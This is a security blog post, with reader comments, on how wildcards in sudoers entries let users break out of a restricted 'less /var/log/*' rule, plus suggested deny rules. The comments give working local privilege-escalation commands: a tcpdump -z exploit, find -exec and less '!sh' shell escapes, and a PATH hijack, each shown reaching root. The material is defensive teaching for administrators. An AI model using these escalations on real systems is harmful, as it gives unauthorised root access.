Compass Security Blog

Offensive Defense

Dangerous Sudoers Entries – PART 4: Wildcards

The following article describes common security issues regarding misconfigured sudoers’ files. The article focuses on a single entry which contains several security issues:

hacker10 ALL= (root) /bin/less /var/log/*

The article is split into the following five chapters:

The last issue with our example “sudo” command is the wildcard (*).

Excerpt from the “sudoers” man page:

Wildcards

sudo allows shell-style wildcards (aka meta or glob characters)
to be used in hostnames, pathnames and command line arguments in
the sudoers file. Wildcard matching is done via the POSIX glob(3)
and fnmatch(3) routines.  Note that these are not regular
expressions.
*       Matches any set of zero or more characters.
?       Matches any single character.
[...]   Matches any character in the specified range.
[!...]  Matches any character not in the specified range.
\x      For any character "x", evaluates to "x". This is used to
        escape special characters such as: "*", "?", "[", and "}".
POSIX character classes may also be used if your system's glob(3)
and fnmatch(3) functions support them.  However, because the ':'
character has special meaning in sudoers, it must be escaped.
For example:
/bin/ls [[\:alpha\:]]*
Would match any filename beginning with a letter.
Note that a forward slash ('/') will not be matched by wildcards
used in the pathname. When matching the command line arguments,
however, a slash does get matched by wildcards. This is to make
a path like:
/usr/bin/*
match /usr/bin/who but not /usr/bin/X11/xterm.
Exceptions to wildcard rules
The following exceptions apply to the above rules:
""      If the empty string "" is the only command line argument
in the sudoers entry it means that command is not allowed to be
run with any arguments.

As the wildcard in our example is part of the arguments and not the path name, it allows us to break out. One way to do this is shown in the following example:

Another way to break out would be the following command:

When in less it is possible to use the “:n” command to switch to the next file in the file list:

Solution

Wildcards are extremely dangerous. Don’t use them if you are not 100% sure that a malicious user is able to abuse it.

The more secure solution to the issue would be to write a script which does input validation and is the only thing that is allowed to be called using “sudo”.

13 Comments

  1. pjf

    It is possible to prevent malicious user from doing path traversal by denying such pattern:

    hacker10 ALL= (root) NOEXEC: /usr/bin/less /var/log/*, !/usr/bin/less *..*

  2. janny

    to prevent path traversal and space separated parameters:
    hacker10 ALL= (root) /bin/less /var/log/*
    hacker10 ALL= (root) !/bin/less /var/log/*..*
    hacker10 ALL= (root) !/bin/less /var/log/* *

    instead of last one, you could use also:
    hacker10 ALL= (root) !/bin/less /var/log/*[ ]*
    or
    hacker10 ALL= (root) !/bin/less /var/log/*[[\:blank\:]]*

  3. WillianBR

    Hi,
    There’s any way to compile a set of SUDO RULES and generate a decision tree?
    I’m thinking about a path to test (pre compiling) a SUDO rule be aware of possible issues before send it to a production system.

    Let’s say we have two rules:
    1) Rule 1: Allow all commands into a group os hosts;
    2) Rule 2: Allow a few commands into all hosts;

    Then, the user get access to both rules. Is it allowed to do anything on all hosts?

    I’m looking for a path to teste such cases before save the rules into LDAP.

  4. Daniel

    This article is six years old, but you realize that your system is compromised by allowing less to run as root, right? You can enter “!sh” to get a root shell in less (also vi and other tools) this way.

    • Emanuel Duss

      Hi Daniel

      That’s true, thanks for your input.

      Our sudoers article is split into five chapters. This chapter here focuses only on wildcards. The command execution vulnerability you mentioned is described in chapter 1: Dangerous Sudoers Entries – PART 1: Command Execution. An example can be found there.

      As you mentioned, there are really a lot of tools that allow the execution of commands. Always read the manpage of every tool you can execute using sudo!

      A nice and more exotic one I saw some time ago is tcpdump. You can write the network traffic into a file and specify the max-size of this file. If the max-size is reached, a new file is created and a postrotate-command is executed by tcpdump. This command can be specified using the -z option. So if you can run tcpdump using sudo, you can exploit that.

      Example exploit:

      $ id
      uid=1000(user) gid=1000(user) groups=1000(user)
      $ cat /tmp/command 
      #!/usr/bin/env bash
      id > /tmp/pwnd
      $ sudo tcpdump -w test -C 1 -z "/tmp/command"
      $ cat /tmp/pwnd
      uid=0(root) gid=0(root) groups=0(root)
      

      Have fun :),
      Emanuel

      • Daniel

        I apologize for not reading the series; a search dropped me into this article. Please feel free to delete my ignorance. :)

  5. Davis

    If you give an entire script sudo, isn’t there a danger the script would be rewritten and then execute any and all commands elevated via sudo?

    • Cyrill Brunschwiler

      True. Same accounts for binaries that help to spawn shells when running privileged. E.g. sudo find . -exec /bin/sh \; -quit

      That said, providing privileges to common users is not an easy thing to maintain and keep track of. Have a look at the GTFObins project in order to understand the full potential to escalate privileges.

  6. Travis

    Would a sane precaution be to add an environment variable like “SHELL=/bin/false” to any command to prevent allowing the user to gain a subshell?

    • Emanuel Duss

      Hi Travis

      Nice idea, this sounds useful at the first glance but let’s have a deeper look into it.

      Idea
      To repeat the general idea: If the SHELL variable is set to /bin/false, it’s not possible to spawn a new shell:

      lowprivuser@hlkali:/tmp$ SHELL=/bin/false less /etc/passwd
      [...]
      !sh
      !done  (press RETURN)
      [...]
      !/bin/bash
      !done  (press RETURN)
      [...]
      !/bin/sh
      !done  (press RETURN)
      

      So, this looks promising.

      Sudo configuration not possible

      Let’s try to add this to the command in the sudo configuration:

      # visudo
      [...]
      lowprivuser ALL=(ALL:ALL)  NOPASSWD:SHELL=/bin/false /usr/bin/less *
      [...]
      

      This is no valid sudo configuration:

      >>> /etc/sudoers: syntax error near line 22 <<<
      What now? 
      Options are:
        (e)dit sudoers file again
        e(x)it without saving changes to sudoers file
        (Q)uit and save changes to sudoers file (DANGER!)
      
      What now? 
      

      So, it's not possible to add an environment variable by putting it before a command.

      There would be an option so it is added via an environment file.

      Create a new environment file with SHELL=/bin/false:

      root@hlkali:/home/hacker# cat /etc/sudoenv 
      SHELL=/bin/false
      

      Add it to the sudo configuration:

      # visudo
      [...]
      Defaults env_file="/etc/sudoenv"
      [...]
      

      This variable is not set after the login:

      root@hlkali:/tmp/# login
      hlkali login: lowprivuser
      Password: 
      [...]
      $ echo $SHELL
      /bin/sh
      

      This is because sudo sets the SHELL variable according to the configured shell in /etc/passwd.

      # cat /etc/passwd
      [...]
      lowprivuser:x:1001:1001::/home/lowprivuser:/bin/sh
      [...]
      

      And when the shell in /etc/passwd would be changed, the user could not login anymore and use the sudo command to execute allowed commands. So this is no option.

      Command Execution without Subshell

      Another important point is that there are commands which can execute other commands without starting a new subshell.

      Configure the SHELL variable to deny subshells:

      root@hlkali:~# export SHELL=/bin/false
      

      It's not possible to start a subshell (as you expected):

      root@hlkali:/home/hacker# less /etc/passwd
      [...]
      !sh
      !done  (press RETURN)
      

      However, it's still possible to execute commands that execute other commands:

      root@hlkali:/home/hacker# ip netns add compass
      root@hlkali:/home/hacker# ip netns exec compass id
      uid=0(root) gid=0(root) groups=0(root)
      

      So even if it would be possible to set environment variables for single commands (like SHELL=/bin/false), it would not prevent command execution from arbitrary files via sudo, because not always a new subshell is started.

      I hope this answers your question. Let me know if you have other inputs on this ;-).

      Best wishes,
      Emanuel

  7. Hans K.

    I know that this blog is quite old but I can across this tool whuch might some of you guys https://github.com/TH3xACE/SUDO_KILLER .. it can checks for common misconfig and GTFO bins with some nice videos also

  8. AD

    Is the fact that the user can run sudo with path a vulnerability? why or why not?

    • Emanuel Duss

      Hi

      I’m not exactly sure if I correctly understand your question.

      If you mean if it’s safe if the PATH variable is preserved (not removed when sudo is executed in the new process): this is not secure.

      You can then add a new allowed binary to your PATH where you can write to and use it to execute arbitrary commands, e.g. a shell:
      $ mkdir /tmp/bin
      $ echo sh > /tmp/bin/systemctl
      $ chmod +x /tmp/bin/systemctl
      $ export PATH="/tmp/bin/:$PATH"
      $ sudo systemctl status apche
      # id
      uid=0(root) gid=0(root) groups=0(root)
      #

      This is however not possible by default, because the option secure_path sets the PATH to a predefined value where normal users cannot write to.

      If you mean if it’s safe to use full paths in an allowed sudo command: This depends on the command itself.

      E.g. when you allow a user to execute sudo cat /tmp/file.txt, this is OK, since cat can only be used to read this specific file. But when you allow a user to read a file using less, e.g. via sudo less /tmp/file.txt, this is not secure, because a user can then execute arbitrary commands or a shell via :!sh (see https://gtfobins.github.io/gtfobins/less/).

      I hope this answers your question.

      Best wishes,
      Mänu

1 Pingback

  1. Multiple argument wildcard matches for sudoers file?

Leave a Reply to Davis Cancel reply

Your email address will not be published. Required fields are marked *